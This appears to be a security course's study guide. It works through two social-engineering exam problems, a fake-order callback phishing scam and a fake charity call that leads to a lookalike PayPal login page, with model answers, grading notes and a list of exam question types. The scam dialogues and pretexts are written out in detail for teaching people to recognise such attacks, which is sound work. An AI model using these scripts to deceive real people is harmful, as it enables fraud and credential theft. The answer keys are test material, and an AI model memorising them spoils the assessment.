- *Applying Step 1 (inventory):* List the manipulation moves: a fake order confirmation for something never ordered (a created problem); a polished marketing-style email with order/account numbers; the disclaimer 'we will never include links or attachments'; a published 'customer service' number that Eric himself calls (callback phishing); on-hold music (Eye of the Tiger); friendly banter about pushy fitness friends and colleagues talking about carbs; a request for 'only' the last four personnummer digits; the claim that SEK 9999 has already been paid from his Klarna account; and a 'cancellation' that actually sends Eric an attachment plus a BankID confirmation.

- *Applying Step 2 (strategies):* Official sample answers (any three): 1) ***pretext: trappings of the role***; 2) ***threat/fear***; 3) ***building rapport / showing empathy / light banter***; 4) ***pretext: put into victim role*** (altercasting — the attacker creates the fake order and then 'fixes' it via the cancellation).

- *Applying Step 3 (traits):* Traits per the sample solution: role trappings exploit ***attribution/trust***; threat/fear exploits ***reduced cognitive ability***; rapport exploits liking — 'people agree to more from someone they like'; the victim-role pretext exploits ***reactance*** (altercasting).

- *Applying Step 4 (quotes):* Quotes per the sample solution: role trappings — the plausible story, the statement that they never include links or attachments, the marketing style of the email, the on-hold music; fear — 'the payment of SEK 9999 has already come through'; rapport — talking about people pushing fitness or diets; victim role — creating the fake order and then pretending to fix the problem. Each full triple (strategy + trait + quote) is worth 3 points.

- *Applying Step 5 (harvest, part b):* Sample solution: the attacker got Eric to open a file attached to an email, got him to confirm a money transfer with BankID, got the full personnummer (four digits spoken + birthdate looked up on hitta.se), and the phone number. Grading note: counted correct if at least one listed gain is mentioned and *no incorrect ones*.

- *Applying Step 6 (follow-ons, part c):* Sample solution: the attachment can have hidden malware, e.g. ransomware or a credential stealer, even if Eric does not authorize the bank transfer; if he did authorize it, the attacker gets the money; and the attacker can mount identity-theft attacks in places that do not verify a personnummer with any other factor of authentication.

Answer: (a) e.g. role-trappings/trust (hold music, 'we never include links', marketing style), fear/reduced cognition ('payment has already come through'), rapport/liking (fitness and diet banter), or victim-role altercasting (create-then-fix the fake order); (b) an opened attachment, a BankID-confirmed SEK 9999 transfer, the full personnummer, and the phone number; (c) hidden malware (ransomware/credential theft), keep the money, identity theft where a personnummer alone suffices.

Exam Practice: Re-exam (reexam-with-solutions), Problem 8 'Donation matching', parts a-c

Problem: Emil, a social-engineering attacker, combines data from hemnet.se (recently sold apartments) and hitta.se (new residents and neighbours) and calls Victoria. 'Hej! Am I speaking with Victoria? This is Emil Karlsson. I'm with the organization Stockholm Helps. We work with Stockholms Stad and individual housing associations. We've worked with yours, Igelkotten13, so you probably remember how it works?' Victoria says she just moved in. Emil replies: 'Oh, I'll briefly explain, but I will not take much of your time, I know there is so much to do when you move, such a hassle! We also moved earlier this year, that was stressful, we still haven't unpacked all the boxes! Anyhow, in short, now at the start of winter and with the current conflicts in the Middle East and Ukraine, many people are displaced and suffering and we need an extra push in donations. And this year, Stockholms Stad has pledged to match any donations given before Lucia, tomorrow. So we're busy calling around for a final push. Every krona counts! Several people in your building have already donated, I see here, on your floor the Ericssons and the Smiths, for example. How much would you be willing to contribute?' After some back and forth, Emil texts Victoria a link to the donation site with buttons for amounts and payment methods. Victoria clicks 200 SEK, chooses PayPal, is redirected to stockholmhelps.paypa1.com and fills in her login information. She gets a popup with a receipt to download, and downloads the file. (a) [9 p] Identify 3 strategies used by the social engineer; for each, identify the human trait they exploit and quote or mention the parts of the scenario you refer to. (b) [1 p] What did the attacker get? (c) [2 p] Give two examples of what the attacker can do now.
Solution:

- *Applying Step 1 (inventory):* List the manipulation moves: pre-research combining hemnet.se and hitta.se (knows her name, building, floor, neighbours' names); a charity pretext ('Stockholm Helps') claiming cooperation with Stockholms Stad and her own housing association Igelkotten13; empathy banter about the stress of moving ('we also moved earlier this year, still haven't unpacked'); a suffering-people appeal (conflicts in the Middle East and Ukraine); a deadline ('before Lucia, tomorrow', 'final push'); named neighbours who 'already donated'; and a payment redirect to the lookalike domain stockholmhelps.paypa1.com ending in a file download.

- *Applying Step 2 (strategies):* Official sample answers (any three): 1) ***rush/urgency***; 2) ***peer pressure***; 3) ***building rapport / showing empathy***; 4) ***pretext: trappings of the role***; 5) ***pretext: put into helper role***.

- *Applying Step 3 (traits):* Traits per the sample solution: urgency exploits ***reduced cognitive ability*** under time pressure; peer pressure exploits that 'people want to be helpful, cooperate, be nice, not deviate from social expectations'; rapport exploits liking — 'people agree to more from someone they like'; role trappings exploit ***attribution/trust***; the helper role exploits the ***desire to help***.

- *Applying Step 4 (quotes):* Quotes per the sample solution: urgency — 'before tomorrow' (the Lucia matching deadline); peer pressure — 'several people in your building have already donated ... the Ericssons and the Smiths'; rapport — 'moving is stressful, also moved this year'; role trappings — the plausible story, having worked with the named housing association and Stockholms Stad; helper role — 'people suffering'. Each full triple (strategy + trait + quote) is worth 3 points.
- *Applying Step 5 (harvest, part b):* Sample solution: the attacker got Victoria's PayPal login credentials (entered on the lookalike stockholmhelps.paypa1.com) and got her to download a file. *Trap:* the 200 SEK was never shown to be paid — do not claim the attacker got the donation money yet; only credentials and the download are proven.
- *Applying Step 6 (follow-ons, part c):* Sample solution: the attacker can now get the donation by initiating a real PayPal transaction and having Victoria confirm it; if no two-factor authentication is set up, use her PayPal account for other transactions or even change her credentials (full account takeover); and the downloaded file could be malware, e.g. ransomware.

Answer: (a) e.g. urgency/reduced cognition ('before Lucia, tomorrow'), peer pressure/conformity ('the Ericssons and the Smiths already donated'), rapport/liking (moving-is-stressful banter), role-trappings/trust (Stockholms Stad, Igelkotten13), helper-role/desire to help ('people suffering'); (b) Victoria's PayPal login credentials and a downloaded file; (c) initiate a real PayPal transaction for her to confirm, take over the account if no 2FA, malware such as ransomware in the file.

For more practice, see past-exam instances: reexam-problems.-with-solutions.pdf::8c, reexam-with-solutions.pdf::8c

Coverage Note

- **Question Type 1 (Security analysis of a custom hash-function construction):** appeared in approximately 8 analyzed exam questions.
- **Question Type 2 (Cache/timing side-channel attack analysis and constant-time fix):** appeared in approximately 7 analyzed exam questions.
- **Question Type 3 (Memory-safety vulnerability identification and exploit construction):** appeared in approximately 7 analyzed exam questions.
- **Question Type 4 (Bell-LaPadula access-control decisions and label lattice):** appeared in approximately 6 analyzed exam questions.
- **Question Type 5 (Security protocol flaw analysis and repair):** appeared in approximately 6 analyzed exam questions.
- **Question Type 6 (Concept true/false (or multiple-choice) with one-to-three-sentence justification):** appeared in approximately 5 analyzed exam questions.

- **Question Type 7 (Custom block-cipher mode analysis):** appeared in approximately 5 analyzed exam questions.
- **Question Type 8 (Web attack construction):** appeared in approximately 5 analyzed exam questions.
- **Question Type 9 (Password storage and authentication-scheme analysis):** appeared in approximately 4 analyzed exam questions.
- **Question Type 10 (DoS attack construction and countermeasure/responsibility analysis):** appeared in approximately 4 analyzed exam questions.
- **Question Type 11 (Social-engineering scenario analysis):** appeared in approximately 2 analyzed exam questions.